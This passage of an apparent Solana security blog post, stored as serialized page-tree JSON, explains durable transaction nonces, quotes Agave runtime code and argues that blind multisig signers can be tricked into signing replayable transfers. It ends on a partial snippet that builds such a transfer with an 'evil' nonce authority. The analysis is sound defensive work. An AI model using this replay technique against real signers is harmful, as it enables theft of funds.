time.",{"type":23,"tag":1909,"props":66955,"children":66956},{},[66957],{"type":23,"tag":24,"props":66958,"children":66959},{},[66960,66962],{"type":28,"value":66961},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":23,"tag":296,"props":66963,"children":66964},{},[66965],{"type":28,"value":66966},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":23,"tag":24,"props":66968,"children":66969},{},[66970,66972,66979],{"type":28,"value":66971},"If we examine the code ",{"type":23,"tag":92,"props":66973,"children":66976},{"href":66974,"rel":66975},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[96],[66977],{"type":28,"value":66978},"for recent blockhash validation",{"type":28,"value":66980},", we can also see the handling for durable nonces.",{"type":23,"tag":494,"props":66982,"children":66984},{"className":1957,"code":66983,"language":1956,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[66985],{"type":23,"tag":56,"props":66986,"children":66987},{"__ignoreMap":7},[66988,67035,67101,67121,67141,67171,67179,67233,67250,67270,67282,67294,67302,67309,67328,67355,67375,67382,67397,67427,67456],{"type":23,"tag":504,"props":66989,"children":66990},{"class":506,"line":507},[66991,66995,67000,67004,67009,67013,67018,67022,67026,67031],{"type":23,"tag":504,"props":66992,"children":66993},{"style":511},[66994],{"type":28,"value":1977},{"type":23,"tag":504,"props":66996,"children":66997},{"style":529},[66998],{"type":28,"value":66999}," recent_blockhash",{"type":23,"tag":504,"props":67001,"children":67002},{"style":598},[67003],{"type":28,"value":648},{"type":23,"tag":504,"props":67005,"children":67006},{"style":529},[67007],{"type":28,"value":67008}," tx",{"type":23,"tag":504,"props":67010,"children":67011},{"style":598},[67012],{"type":28,"value":320},{"type":23,"tag":504,"props":67014,"children":67015},{"style":517},[67016],{"type":28,"value":67017},"message",{"type":23,"tag":504,"props":67019,"children":67020},{"style":523},[67021],{"type":28,"value":12860},{"type":23,"tag":504,"props":67023,"children":67024},{"style":598},[67025],{"type":28,"value":320},{"type":23,"tag":504,"props":67027,"children":67028},{"style":517},[67029],{"type":28,"value":67030},"recent_blockhash",{"type":23,"tag":504,"props":67032,"children":67033},{"style":523},[67034],{"type":28,"value":2647},{"type":23,"tag":504,"props":67036,"children":67037},{"class":506,"line":540},[67038,67042,67046,67050,67054,67059,67063,67067,67072,67076,67081,67085,67089,67093,67097],{"type":23,"tag":504,"props":67039,"children":67040},{"style":544},[67041],{"type":28,"value":11261},{"type":23,"tag":504,"props":67043,"children":67044},{"style":511},[67045],{"type":28,"value":26285},{"type":23,"tag":504,"props":67047,"children":67048},{"style":1012},[67049],{"type":28,"value":26290},{"type":23,"tag":504,"props":67051,"children":67052},{"style":523},[67053],{"type":28,"value":526},{"type":23,"tag":504,"props":67055,"children":67056},{"style":529},[67057],{"type":28,"value":67058},"hash_info",{"type":23,"tag":504,"props":67060,"children":67061},{"style":523},[67062],{"type":28,"value":2064},{"type":23,"tag":504,"props":67064,"children":67065},{"style":598},[67066],{"type":28,"value":601},{"type":23,"tag":504,"props":67068,"children":67069},{"style":529},[67070],{"type":28,"value":67071}," hash_queue",{"type":23,"tag":504,"props":67073,"children":67074},{"style":598},[67075],{"type":28,"value":320},{"type":23,"tag":504,"props":67077,"children":67078},{"style":517},[67079],{"type":28,"value":67080},"get_hash_info_if_valid",{"type":23,"tag":504,"props":67082,"children":67083},{"style":523},[67084],{"type":28,"value":526},{"type":23,"tag":504,"props":67086,"children":67087},{"style":529},[67088],{"type":28,"value":67030},{"type":23,"tag":504,"props":67090,"children":67091},{"style":523},[67092],{"type":28,"value":576},{"type":23,"tag":504,"props":67094,"children":67095},{"style":529},[67096],{"type":28,"value":66821},{"type":23,"tag":504,"props":67098,"children":67099},{"style":523},[67100],{"type":28,"value":537},{"type":23,"tag":504,"props":67102,"children":67103},{"class":506,"line":555},[67104,67108,67112,67117],{"type":23,"tag":504,"props":67105,"children":67106},{"style":1012},[67107],{"type":28,"value":13792},{"type":23,"tag":504,"props":67109,"children":67110},{"style":523},[67111],{"type":28,"value":526},{"type":23,"tag":504,"props":67113,"children":67114},{"style":1012},[67115],{"type":28,"value":67116},"CheckedTransactionDetails",{"type":23,"tag":504,"props":67118,"children":67119},{"style":523},[67120],{"type":28,"value":552},{"type":23,"tag":504,"props":67122,"children":67123},{"class":506,"line":633},[67124,67129,67133,67137],{"type":23,"tag":504,"props":67125,"children":67126},{"style":529},[67127],{"type":28,"value":67128},"            nonce",{"type":23,"tag":504,"props":67130,"children":67131},{"style":598},[67132],{"type":28,"value":3472},{"type":23,"tag":504,"props":67134,"children":67135},{"style":1012},[67136],{"type":28,"value":26738},{"type":23,"tag":504,"props":67138,"children":67139},{"style":523},[67140],{"type":28,"value":2484},{"type":23,"tag":504,"props":67142,"children":67143},{"class":506,"line":687},[67144,67149,67153,67158,67162,67167],{"type":23,"tag":504,"props":67145,"children":67146},{"style":529},[67147],{"type":28,"value":67148},"            lamports_per_signature",{"type":23,"tag":504,"props":67150,"children":67151},{"style":598},[67152],{"type":28,"value":3472},{"type":23,"tag":504,"props":67154,"children":67155},{"style":529},[67156],{"type":28,"value":67157}," hash_info",{"type":23,"tag":504,"props":67159,"children":67160},{"style":598},[67161],{"type":28,"value":320},{"type":23,"tag":504,"props":67163,"children":67164},{"style":517},[67165],{"type":28,"value":67166},"lamports_per_signature",{"type":23,"tag":504,"props":67168,"children":67169},{"style":523},[67170],{"type":28,"value":2467},{"type":23,"tag":504,"props":67172,"children":67173},{"class":506,"line":736},[67174],{"type":23,"tag":504,"props":67175,"children":67176},{"style":523},[67177],{"type":28,"value":67178},"        })\n",{"type":23,"tag":504,"props":67180,"children":67181},{"class":506,"line":785},[67182,67186,67190,67194,67198,67202,67206,67211,67215,67220,67224,67228],{"type":23,"tag":504,"props":67183,"children":67184},{"style":523},[67185],{"type":28,"value":791},{"type":23,"tag":504,"props":67187,"children":67188},{"style":544},[67189],{"type":28,"value":2293},{"type":23,"tag":504,"props":67191,"children":67192},{"style":544},[67193],{"type":28,"value":14766},{"type":23,"tag":504,"props":67195,"children":67196},{"style":511},[67197],{"type":28,"value":26285},{"type":23,"tag":504,"props":67199,"children":67200},{"style":1012},[67201],{"type":28,"value":26290},{"type":23,"tag":504,"props":67203,"children":67204},{"style":523},[67205],{"type":28,"value":30501},{"type":23,"tag":504,"props":67207,"children":67208},{"style":529},[67209],{"type":28,"value":67210},"nonce",{"type":23,"tag":504,"props":67212,"children":67213},{"style":523},[67214],{"type":28,"value":576},{"type":23,"tag":504,"props":67216,"children":67217},{"style":529},[67218],{"type":28,"value":67219},"previous_lamports_per_signature",{"type":23,"tag":504,"props":67221,"children":67222},{"style":523},[67223],{"type":28,"value":7820},{"type":23,"tag":504,"props":67225,"children":67226},{"style":598},[67227],{"type":28,"value":601},{"type":23,"tag":504,"props":67229,"children":67230},{"style":511},[67231],{"type":28,"value":67232}," self\n",{"type":23,"tag":504,"props":67234,"children":67235},{"class":506,"line":813},[67236,67241,67246],{"type":23,"tag":504,"props":67237,"children":67238},{"style":598},[67239],{"type":28,"value":67240},"        .",{"type":23,"tag":504,"props":67242,"children":67243},{"style":517},[67244],{"type":28,"value":67245},"check_load_and_advance_message_nonce_account",{"type":23,"tag":504,"props":67247,"children":67248},{"style":523},[67249],{"type":28,"value":2439},{"type":23,"tag":504,"props":67251,"children":67252},{"class":506,"line":851},[67253,67258,67262,67266],{"type":23,"tag":504,"props":67254,"children":67255},{"style":529},[67256],{"type":28,"value":67257},"            tx",{"type":23,"tag":504,"props":67259,"children":67260},{"style":598},[67261],{"type":28,"value":320},{"type":23,"tag":504,"props":67263,"children":67264},{"style":517},[67265],{"type":28,"value":67017},{"type":23,"tag":504,"props":67267,"children":67268},{"style":523},[67269],{"type":28,"value":2467},{"type":23,"tag":504,"props":67271,"children":67272},{"class":506,"line":869},[67273,67278],{"type":23,"tag":504,"props":67274,"children":67275},{"style":529},[67276],{"type":28,"value":67277},"            next_durable_nonce",{"type":23,"tag":504,"props":67279,"children":67280},{"style":523},[67281],{"type":28,"value":2484},{"type":23,"tag":504,"props":67283,"children":67284},{"class":506,"line":878},[67285,67290],{"type":23,"tag":504,"props":67286,"children":67287},{"style":529},[67288],{"type":28,"value":67289},"            next_lamports_per_signature",{"type":23,"tag":504,"props":67291,"children":67292},{"style":523},[67293],{"type":28,"value":2484},{"type":23,"tag":504,"props":67295,"children":67296},{"class":506,"line":1221},[67297],{"type":23,"tag":504,"props":67298,"children":67299},{"style":523},[67300],{"type":28,"value":67301},"        )\n",{"type":23,"tag":504,"props":67303,"children":67304},{"class":506,"line":1276},[67305],{"type":23,"tag":504,"props":67306,"children":67307},{"style":523},[67308],{"type":28,"value":28168},{"type":23,"tag":504,"props":67310,"children":67311},{"class":506,"line":1285},[67312,67316,67320,67324],{"type":23,"tag":504,"props":67313,"children":67314},{"style":1012},[67315],{"type":28,"value":13792},{"type":23,"tag":504,"props":67317,"children":67318},{"style":523},[67319],{"type":28,"value":526},{"type":23,"tag":504,"props":67321,"children":67322},{"style":1012},[67323],{"type":28,"value":67116},{"type":23,"tag":504,"props":67325,"children":67326},{"style":523},[67327],{"type":28,"value":552},{"type":23,"tag":504,"props":67329,"children":67330},{"class":506,"line":1294},[67331,67335,67339,67343,67347,67351],{"type":23,"tag":504,"props":67332,"children":67333},{"style":529},[67334],{"type":28,"value":67128},{"type":23,"tag":504,"props":67336,"children":67337},{"style":598},[67338],{"type":28,"value":3472},{"type":23,"tag":504,"props":67340,"children":67341},{"style":1012},[67342],{"type":28,"value":26290},{"type":23,"tag":504,"props":67344,"children":67345},{"style":523},[67346],{"type":28,"value":526},{"type":23,"tag":504,"props":67348,"children":67349},{"style":529},[67350],{"type":28,"value":67210},{"type":23,"tag":504,"props":67352,"children":67353},{"style":523},[67354],{"type":28,"value":5720},{"type":23,"tag":504,"props":67356,"children":67357},{"class":506,"line":1302},[67358,67362,67366,67371],{"type":23,"tag":504,"props":67359,"children":67360},{"style":529},[67361],{"type":28,"value":67148},{"type":23,"tag":504,"props":67363,"children":67364},{"style":598},[67365],{"type":28,"value":3472},{"type":23,"tag":504,"props":67367,"children":67368},{"style":529},[67369],{"type":28,"value":67370}," previous_lamports_per_signature",{"type":23,"tag":504,"props":67372,"children":67373},{"style":523},[67374],{"type":28,"value":2484},{"type":23,"tag":504,"props":67376,"children":67377},{"class":506,"line":1311},[67378],{"type":23,"tag":504,"props":67379,"children":67380},{"style":523},[67381],{"type":28,"value":67178},{"type":23,"tag":504,"props":67383,"children":67384},{"class":506,"line":1334},[67385,67389,67393],{"type":23,"tag":504,"props":67386,"children":67387},{"style":523},[67388],{"type":28,"value":791},{"type":23,"tag":504,"props":67390,"children":67391},{"style":544},[67392],{"type":28,"value":2293},{"type":23,"tag":504,"props":67394,"children":67395},{"style":523},[67396],{"type":28,"value":552},{"type":23,"tag":504,"props":67398,"children":67399},{"class":506,"line":1370},[67400,67405,67409,67414,67419,67423],{"type":23,"tag":504,"props":67401,"children":67402},{"style":529},[67403],{"type":28,"value":67404},"        error_counters",{"type":23,"tag":504,"props":67406,"children":67407},{"style":598},[67408],{"type":28,"value":320},{"type":23,"tag":504,"props":67410,"children":67411},{"style":523},[67412],{"type":28,"value":67413},"blockhash_not_found ",{"type":23,"tag":504,"props":67415,"children":67416},{"style":598},[67417],{"type":28,"value":67418},"+=",{"type":23,"tag":504,"props":67420,"children":67421},{"style":1440},[67422],{"type":28,"value":3504},{"type":23,"tag":504,"props":67424,"children":67425},{"style":523},[67426],{"type":28,"value":866},{"type":23,"tag":504,"props":67428,"children":67429},{"class":506,"line":1384},[67430,67434,67438,67443,67447,67452],{"type":23,"tag":504,"props":67431,"children":67432},{"style":1012},[67433],{"type":28,"value":13835},{"type":23,"tag":504,"props":67435,"children":67436},{"style":523},[67437],{"type":28,"value":526},{"type":23,"tag":504,"props":67439,"children":67440},{"style":1012},[67441],{"type":28,"value":67442},"TransactionError",{"type":23,"tag":504,"props":67444,"children":67445},{"style":598},[67446],{"type":28,"value":2457},{"type":23,"tag":504,"props":67448,"children":67449},{"style":1012},[67450],{"type":28,"value":67451},"BlockhashNotFound",{"type":23,"tag":504,"props":67453,"children":67454},{"style":523},[67455],{"type":28,"value":1192},{"type":23,"tag":504,"props":67457,"children":67458},{"class":506,"line":1392},[67459],{"type":23,"tag":504,"props":67460,"children":67461},{"style":523},[67462],{"type":28,"value":875},{"type":23,"tag":24,"props":67464,"children":67465},{},[67466],{"type":28,"value":67467},"The documentation does a good job of explaining how they work.",{"type":23,"tag":1909,"props":67469,"children":67470},{},[67471],{"type":23,"tag":24,"props":67472,"children":67473},{},[67474],{"type":28,"value":67475},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":23,"tag":24,"props":67477,"children":67478},{},[67479,67481,67488],{"type":28,"value":67480},"Durable nonces are created and managed ",{"type":23,"tag":92,"props":67482,"children":67485},{"href":67483,"rel":67484},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[96],[67486],{"type":28,"value":67487},"by the system program",{"type":28,"value":67489},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":23,"tag":24,"props":67491,"children":67492},{},[67493,67495,67502],{"type":28,"value":67494},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":23,"tag":92,"props":67496,"children":67499},{"href":67497,"rel":67498},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[96],[67500],{"type":28,"value":67501},"based on the current blockhash",{"type":28,"value":67503},", and cannot be predicted in advance.",{"type":23,"tag":494,"props":67505,"children":67507},{"className":1957,"code":67506,"language":1956,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[67508],{"type":23,"tag":56,"props":67509,"children":67510},{"__ignoreMap":7},[67511,67563,67596],{"type":23,"tag":504,"props":67512,"children":67513},{"class":506,"line":507},[67514,67518,67522,67526,67530,67534,67539,67543,67547,67551,67555,67559],{"type":23,"tag":504,"props":67515,"children":67516},{"style":511},[67517],{"type":28,"value":1977},{"type":23,"tag":504,"props":67519,"children":67520},{"style":529},[67521],{"type":28,"value":67071},{"type":23,"tag":504,"props":67523,"children":67524},{"style":598},[67525],{"type":28,"value":648},{"type":23,"tag":504,"props":67527,"children":67528},{"style":511},[67529],{"type":28,"value":12778},{"type":23,"tag":504,"props":67531,"children":67532},{"style":598},[67533],{"type":28,"value":320},{"type":23,"tag":504,"props":67535,"children":67536},{"style":523},[67537],{"type":28,"value":67538},"blockhash_queue",{"type":23,"tag":504,"props":67540,"children":67541},{"style":598},[67542],{"type":28,"value":320},{"type":23,"tag":504,"props":67544,"children":67545},{"style":517},[67546],{"type":28,"value":59619},{"type":23,"tag":504,"props":67548,"children":67549},{"style":523},[67550],{"type":28,"value":12860},{"type":23,"tag":504,"props":67552,"children":67553},{"style":598},[67554],{"type":28,"value":320},{"type":23,"tag":504,"props":67556,"children":67557},{"style":517},[67558],{"type":28,"value":2642},{"type":23,"tag":504,"props":67560,"children":67561},{"style":523},[67562],{"type":28,"value":2647},{"type":23,"tag":504,"props":67564,"children":67565},{"class":506,"line":540},[67566,67570,67575,67579,67583,67587,67592],{"type":23,"tag":504,"props":67567,"children":67568},{"style":511},[67569],{"type":28,"value":1977},{"type":23,"tag":504,"props":67571,"children":67572},{"style":529},[67573],{"type":28,"value":67574}," last_blockhash",{"type":23,"tag":504,"props":67576,"children":67577},{"style":598},[67578],{"type":28,"value":648},{"type":23,"tag":504,"props":67580,"children":67581},{"style":529},[67582],{"type":28,"value":67071},{"type":23,"tag":504,"props":67584,"children":67585},{"style":598},[67586],{"type":28,"value":320},{"type":23,"tag":504,"props":67588,"children":67589},{"style":517},[67590],{"type":28,"value":67591},"last_hash",{"type":23,"tag":504,"props":67593,"children":67594},{"style":523},[67595],{"type":28,"value":2647},{"type":23,"tag":504,"props":67597,"children":67598},{"class":506,"line":555},[67599,67603,67608,67612,67617,67621,67626,67630,67634,67639],{"type":23,"tag":504,"props":67600,"children":67601},{"style":511},[67602],{"type":28,"value":1977},{"type":23,"tag":504,"props":67604,"children":67605},{"style":529},[67606],{"type":28,"value":67607}," next_durable_nonce",{"type":23,"tag":504,"props":67609,"children":67610},{"style":598},[67611],{"type":28,"value":648},{"type":23,"tag":504,"props":67613,"children":67614},{"style":1012},[67615],{"type":28,"value":67616}," DurableNonce",{"type":23,"tag":504,"props":67618,"children":67619},{"style":598},[67620],{"type":28,"value":2457},{"type":23,"tag":504,"props":67622,"children":67623},{"style":517},[67624],{"type":28,"value":67625},"from_blockhash",{"type":23,"tag":504,"props":67627,"children":67628},{"style":523},[67629],{"type":28,"value":526},{"type":23,"tag":504,"props":67631,"children":67632},{"style":598},[67633],{"type":28,"value":2086},{"type":23,"tag":504,"props":67635,"children":67636},{"style":529},[67637],{"type":28,"value":67638},"last_blockhash",{"type":23,"tag":504,"props":67640,"children":67641},{"style":523},[67642],{"type":28,"value":630},{"type":23,"tag":24,"props":67644,"children":67645},{},[67646,67648,67653],{"type":28,"value":67647},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":23,"tag":1887,"props":67649,"children":67650},{},[67651],{"type":28,"value":67652},"can",{"type":28,"value":67654}," be saved and reused.",{"type":23,"tag":70,"props":67656,"children":67658},{"id":67657},"threat-model",[67659],{"type":28,"value":67660},"Threat Model",{"type":23,"tag":24,"props":67662,"children":67663},{},[67664],{"type":28,"value":67665},"Let's consider a simplified form of the original question.",{"type":23,"tag":41,"props":67667,"children":67668},{},[67669,67674,67679],{"type":23,"tag":45,"props":67670,"children":67671},{},[67672],{"type":28,"value":67673},"We have a N/M multisig",{"type":23,"tag":45,"props":67675,"children":67676},{},[67677],{"type":28,"value":67678},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":23,"tag":45,"props":67680,"children":67681},{},[67682],{"type":28,"value":67683},"We can accurately query chain state.",{"type":23,"tag":24,"props":67685,"children":67686},{},[67687],{"type":28,"value":67688},"Can we safely sign transactions?",{"type":23,"tag":24,"props":67690,"children":67691},{},[67692],{"type":28,"value":67693},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":23,"tag":24,"props":67695,"children":67696},{},[67697,67699,67705,67707,67714],{"type":28,"value":67698},"Durable nonces require an onchain account, and it's possible to use a ",{"type":23,"tag":56,"props":67700,"children":67702},{"className":67701},[],[67703],{"type":28,"value":67704},"getProgramAccounts",{"type":28,"value":67706}," call to validate if your signer ",{"type":23,"tag":92,"props":67708,"children":67711},{"href":67709,"rel":67710},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[96],[67712],{"type":28,"value":67713},"has an associated durable nonce",{"type":28,"value":320},{"type":23,"tag":494,"props":67716,"children":67718},{"className":34907,"code":67717,"language":34909,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[67719],{"type":23,"tag":56,"props":67720,"children":67721},{"__ignoreMap":7},[67722,67769,67805,67813,67825,67833,67845,67853,67861,67878,67885,67892,67900,67908,67920,67946,67963,67970,67977,67985,67992],{"type":23,"tag":504,"props":67723,"children":67724},{"class":506,"line":507},[67725,67729,67734,67738,67742,67747,67751,67756,67760,67765],{"type":23,"tag":504,"props":67726,"children":67727},{"style":511},[67728],{"type":28,"value":8635},{"type":23,"tag":504,"props":67730,"children":67731},{"style":529},[67732],{"type":28,"value":67733}," connection",{"type":23,"tag":504,"props":67735,"children":67736},{"style":598},[67737],{"type":28,"value":648},{"type":23,"tag":504,"props":67739,"children":67740},{"style":511},[67741],{"type":28,"value":30911},{"type":23,"tag":504,"props":67743,"children":67744},{"style":517},[67745],{"type":28,"value":67746}," Connection",{"type":23,"tag":504,"props":67748,"children":67749},{"style":523},[67750],{"type":28,"value":526},{"type":23,"tag":504,"props":67752,"children":67753},{"style":517},[67754],{"type":28,"value":67755},"clusterApiUrl",{"type":23,"tag":504,"props":67757,"children":67758},{"style":523},[67759],{"type":28,"value":526},{"type":23,"tag":504,"props":67761,"children":67762},{"style":622},[67763],{"type":28,"value":67764},"'testnet'",{"type":23,"tag":504,"props":67766,"children":67767},{"style":523},[67768],{"type":28,"value":684},{"type":23,"tag":504,"props":67770,"children":67771},{"class":506,"line":540},[67772,67776,67781,67785,67789,67793,67797,67801],{"type":23,"tag":504,"props":67773,"children":67774},{"style":511},[67775],{"type":28,"value":8635},{"type":23,"tag":504,"props":67777,"children":67778},{"style":529},[67779],{"type":28,"value":67780}," nonceAccounts",{"type":23,"tag":504,"props":67782,"children":67783},{"style":598},[67784],{"type":28,"value":648},{"type":23,"tag":504,"props":67786,"children":67787},{"style":544},[67788],{"type":28,"value":35188},{"type":23,"tag":504,"props":67790,"children":67791},{"style":529},[67792],{"type":28,"value":67733},{"type":23,"tag":504,"props":67794,"children":67795},{"style":523},[67796],{"type":28,"value":320},{"type":23,"tag":504,"props":67798,"children":67799},{"style":517},[67800],{"type":28,"value":67704},{"type":23,"tag":504,"props":67802,"children":67803},{"style":523},[67804],{"type":28,"value":2439},{"type":23,"tag":504,"props":67806,"children":67807},{"class":506,"line":555},[67808],{"type":23,"tag":504,"props":67809,"children":67810},{"style":1106},[67811],{"type":28,"value":67812},"  // The system program owns all nonce accounts.\n",{"type":23,"tag":504,"props":67814,"children":67815},{"class":506,"line":633},[67816,67821],{"type":23,"tag":504,"props":67817,"children":67818},{"style":529},[67819],{"type":28,"value":67820},"  SYSTEM_PROGRAM_ADDRESS",{"type":23,"tag":504,"props":67822,"children":67823},{"style":523},[67824],{"type":28,"value":2484},{"type":23,"tag":504,"props":67826,"children":67827},{"class":506,"line":687},[67828],{"type":23,"tag":504,"props":67829,"children":67830},{"style":523},[67831],{"type":28,"value":67832},"  {\n",{"type":23,"tag":504,"props":67834,"children":67835},{"class":506,"line":736},[67836,67841],{"type":23,"tag":504,"props":67837,"children":67838},{"style":529},[67839],{"type":28,"value":67840},"    filters:",{"type":23,"tag":504,"props":67842,"children":67843},{"style":523},[67844],{"type":28,"value":24601},{"type":23,"tag":504,"props":67846,"children":67847},{"class":506,"line":785},[67848],{"type":23,"tag":504,"props":67849,"children":67850},{"style":523},[67851],{"type":28,"value":67852},"      {\n",{"type":23,"tag":504,"props":67854,"children":67855},{"class":506,"line":813},[67856],{"type":23,"tag":504,"props":67857,"children":67858},{"style":1106},[67859],{"type":28,"value":67860},"        // Nonce accounts are exactly 80 bytes long\n",{"type":23,"tag":504,"props":67862,"children":67863},{"class":506,"line":851},[67864,67869,67874],{"type":23,"tag":504,"props":67865,"children":67866},{"style":529},[67867],{"type":28,"value":67868},"        dataSize:",{"type":23,"tag":504,"props":67870,"children":67871},{"style":1440},[67872],{"type":28,"value":67873}," 80",{"type":23,"tag":504,"props":67875,"children":67876},{"style":523},[67877],{"type":28,"value":2484},{"type":23,"tag":504,"props":67879,"children":67880},{"class":506,"line":869},[67881],{"type":23,"tag":504,"props":67882,"children":67883},{"style":523},[67884],{"type":28,"value":36176},{"type":23,"tag":504,"props":67886,"children":67887},{"class":506,"line":878},[67888],{"type":23,"tag":504,"props":67889,"children":67890},{"style":523},[67891],{"type":28,"value":67852},{"type":23,"tag":504,"props":67893,"children":67894},{"class":506,"line":1221},[67895],{"type":23,"tag":504,"props":67896,"children":67897},{"style":1106},[67898],{"type":28,"value":67899},"        // The authority's 32-byte public key is written\n",{"type":23,"tag":504,"props":67901,"children":67902},{"class":506,"line":1276},[67903],{"type":23,"tag":504,"props":67904,"children":67905},{"style":1106},[67906],{"type":28,"value":67907},"        // into bytes 8-40 of the nonce's account data.\n",{"type":23,"tag":504,"props":67909,"children":67910},{"class":506,"line":1285},[67911,67916],{"type":23,"tag":504,"props":67912,"children":67913},{"style":529},[67914],{"type":28,"value":67915},"        memcmp:",{"type":23,"tag":504,"props":67917,"children":67918},{"style":523},[67919],{"type":28,"value":552},{"type":23,"tag":504,"props":67921,"children":67922},{"class":506,"line":1294},[67923,67928,67933,67937,67942],{"type":23,"tag":504,"props":67924,"children":67925},{"style":529},[67926],{"type":28,"value":67927},"          bytes:",{"type":23,"tag":504,"props":67929,"children":67930},{"style":529},[67931],{"type":28,"value":67932}," AUTHORITY_PUBLIC_KEY",{"type":23,"tag":504,"props":67934,"children":67935},{"style":523},[67936],{"type":28,"value":320},{"type":23,"tag":504,"props":67938,"children":67939},{"style":517},[67940],{"type":28,"value":67941},"toBase58",{"type":23,"tag":504,"props":67943,"children":67944},{"style":523},[67945],{"type":28,"value":2467},{"type":23,"tag":504,"props":67947,"children":67948},{"class":506,"line":1302},[67949,67954,67959],{"type":23,"tag":504,"props":67950,"children":67951},{"style":529},[67952],{"type":28,"value":67953},"          offset:",{"type":23,"tag":504,"props":67955,"children":67956},{"style":1440},[67957],{"type":28,"value":67958}," 8",{"type":23,"tag":504,"props":67960,"children":67961},{"style":523},[67962],{"type":28,"value":2484},{"type":23,"tag":504,"props":67964,"children":67965},{"class":506,"line":1311},[67966],{"type":23,"tag":504,"props":67967,"children":67968},{"style":523},[67969],{"type":28,"value":24353},{"type":23,"tag":504,"props":67971,"children":67972},{"class":506,"line":1334},[67973],{"type":23,"tag":504,"props":67974,"children":67975},{"style":523},[67976],{"type":28,"value":36176},{"type":23,"tag":504,"props":67978,"children":67979},{"class":506,"line":1370},[67980],{"type":23,"tag":504,"props":67981,"children":67982},{"style":523},[67983],{"type":28,"value":67984},"    ],\n",{"type":23,"tag":504,"props":67986,"children":67987},{"class":506,"line":1384},[67988],{"type":23,"tag":504,"props":67989,"children":67990},{"style":523},[67991],{"type":28,"value":4855},{"type":23,"tag":504,"props":67993,"children":67994},{"class":506,"line":1392},[67995],{"type":23,"tag":504,"props":67996,"children":67997},{"style":523},[67998],{"type":28,"value":630},{"type":23,"tag":24,"props":68000,"children":68001},{},[68002,68004,68012],{"type":28,"value":68003},"Unfortunately this is not sufficient",{"type":23,"tag":14454,"props":68005,"children":68006},{},[68007],{"type":23,"tag":92,"props":68008,"children":68010},{"href":28605,"ariaDescribedBy":68009,"dataFootnoteRef":7,"id":28607},[14461],[68011],{"type":28,"value":2991},{"type":28,"value":68013},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":23,"tag":494,"props":68015,"children":68017},{"className":1957,"code":68016,"language":1956,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[68018],{"type":23,"tag":56,"props":68019,"children":68020},{"__ignoreMap":7},[68021,68087,68103,68186],{"type":23,"tag":504,"props":68022,"children":68023},{"class":506,"line":507},[68024,68028,68032,68036,68041,68045,68049,68053,68057,68061,68065,68069,68074,68078,68083],{"type":23,"tag":504,"props":68025,"children":68026},{"style":511},[68027],{"type":28,"value":1977},{"type":23,"tag":504,"props":68029,"children":68030},{"style":529},[68031],{"type":28,"value":42346},{"type":23,"tag":504,"props":68033,"children":68034},{"style":598},[68035],{"type":28,"value":648},{"type":23,"tag":504,"props":68037,"children":68038},{"style":523},[68039],{"type":28,"value":68040}," system_instruction",{"type":23,"tag":504,"props":68042,"children":68043},{"style":598},[68044],{"type":28,"value":2457},{"type":23,"tag":504,"props":68046,"children":68047},{"style":517},[68048],{"type":28,"value":31101},{"type":23,"tag":504,"props":68050,"children":68051},{"style":523},[68052],{"type":28,"value":526},{"type":23,"tag":504,"props":68054,"children":68055},{"style":598},[68056],{"type":28,"value":2086},{"type":23,"tag":504,"props":68058,"children":68059},{"style":529},[68060],{"type":28,"value":18455},{"type":23,"tag":504,"props":68062,"children":68063},{"style":523},[68064],{"type":28,"value":576},{"type":23,"tag":504,"props":68066,"children":68067},{"style":598},[68068],{"type":28,"value":2086},{"type":23,"tag":504,"props":68070,"children":68071},{"style":529},[68072],{"type":28,"value":68073},"ledger_base_pubkey",{"type":23,"tag":504,"props":68075,"children":68076},{"style":523},[68077],{"type":28,"value":576},{"type":23,"tag":504,"props":68079,"children":68080},{"style":1440},[68081],{"type":28,"value":68082},"42",{"type":23,"tag":504,"props":68084,"children":68085},{